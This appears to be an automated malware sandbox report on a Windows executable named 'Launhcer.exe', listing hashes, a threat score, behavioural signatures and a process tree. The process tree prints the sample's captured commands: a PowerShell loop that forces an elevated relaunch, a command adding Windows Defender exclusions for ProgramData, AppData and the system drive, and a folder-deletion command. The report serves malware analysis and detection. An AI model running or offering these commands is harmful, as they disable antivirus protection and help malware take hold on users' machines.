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Analysis

  • max time kernel
    417s
  • max time network
    1148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/07/2024, 05:20

General

  • Target

    data/appInfo/services/Launhcer.exe

  • Size

    364KB

  • MD5

    e5c00b0bc45281666afd14eef04252b2

  • SHA1

    3b6eecf8250e88169976a5f866d15c60ee66b758

  • SHA256

    542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

  • SHA512

    2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

  • SSDEEP

    6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
    1⤵
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:516
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:184
      • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:772
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
          4⤵
            PID:5096

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      968cb9309758126772781b83adb8a28f

      SHA1

      8da30e71accf186b2ba11da1797cf67f8f78b47c

      SHA256

      92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

      SHA512

      4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      373733fb288ce260d85e284221124a59

      SHA1

      6cce2dbe67e760e23f273b7f50aa530a1c11e0ce

      SHA256

      53121eb7fdc35430fa1987a51169df8512c90edbc38b53b26e4b017e9f3e3d6d

      SHA512

      82bd7c19db2573b8cc06f4fd9beab1595b110c2c8bad8f2d55b2e7167137b20296ce41391a76b0b02eab42249c42e1d1af401fac3c8b353dba9579551da7d4aa

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shjbl5di.dd0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/184-18-0x00000000069A0000-0x00000000069BE000-memory.dmp

      Filesize

      120KB

    • memory/184-20-0x0000000007970000-0x0000000007A06000-memory.dmp

      Filesize

      600KB

    • memory/184-4-0x0000000005AE0000-0x0000000005B02000-memory.dmp

      Filesize

      136KB

    • memory/184-11-0x0000000006330000-0x0000000006396000-memory.dmp

      Filesize

      408KB

    • memory/184-12-0x0000000073CB0000-0x0000000074460000-memory.dmp

      Filesize

      7.7MB

    • memory/184-2-0x0000000073CB0000-0x0000000074460000-memory.dmp

      Filesize

      7.7MB

    • memory/184-17-0x00000000064A0000-0x00000000067F4000-memory.dmp

      Filesize

      3.3MB

    • memory/184-56-0x0000000073CBE000-0x0000000073CBF000-memory.dmp

      Filesize

      4KB

    • memory/184-19-0x00000000069E0000-0x0000000006A2C000-memory.dmp

      Filesize

      304KB

    • memory/184-5-0x00000000062B0000-0x0000000006316000-memory.dmp

      Filesize

      408KB

    • memory/184-21-0x0000000006EE0000-0x0000000006EFA000-memory.dmp

      Filesize

      104KB

    • memory/184-22-0x0000000006F00000-0x0000000006F22000-memory.dmp

      Filesize

      136KB

    • memory/184-23-0x0000000008020000-0x00000000085C4000-memory.dmp

      Filesize

      5.6MB

    • memory/184-0-0x0000000073CBE000-0x0000000073CBF000-memory.dmp

      Filesize

      4KB

    • memory/184-62-0x0000000073CB0000-0x0000000074460000-memory.dmp

      Filesize

      7.7MB

    • memory/184-3-0x0000000005C80000-0x00000000062A8000-memory.dmp

      Filesize

      6.2MB

    • memory/184-1-0x0000000003080000-0x00000000030B6000-memory.dmp

      Filesize

      216KB

    • memory/184-58-0x0000000073CB0000-0x0000000074460000-memory.dmp

      Filesize

      7.7MB

    • memory/184-57-0x0000000073CB0000-0x0000000074460000-memory.dmp

      Filesize

      7.7MB

    • memory/772-33-0x00000000067C0000-0x00000000067F2000-memory.dmp

      Filesize

      200KB

    • memory/772-49-0x0000000007770000-0x000000000777E000-memory.dmp

      Filesize

      56KB

    • memory/772-50-0x0000000007780000-0x0000000007794000-memory.dmp

      Filesize

      80KB

    • memory/772-51-0x00000000077C0000-0x00000000077DA000-memory.dmp

      Filesize

      104KB

    • memory/772-52-0x00000000077B0000-0x00000000077B8000-memory.dmp

      Filesize

      32KB

    • memory/772-48-0x0000000007740000-0x0000000007751000-memory.dmp

      Filesize

      68KB

    • memory/772-47-0x00000000075B0000-0x00000000075BA000-memory.dmp

      Filesize

      40KB

    • memory/772-46-0x0000000007B90000-0x000000000820A000-memory.dmp

      Filesize

      6.5MB

    • memory/772-45-0x00000000073D0000-0x0000000007473000-memory.dmp

      Filesize

      652KB

    • memory/772-44-0x0000000006790000-0x00000000067AE000-memory.dmp

      Filesize

      120KB

    • memory/772-34-0x00000000705F0000-0x000000007063C000-memory.dmp

      Filesize

      304KB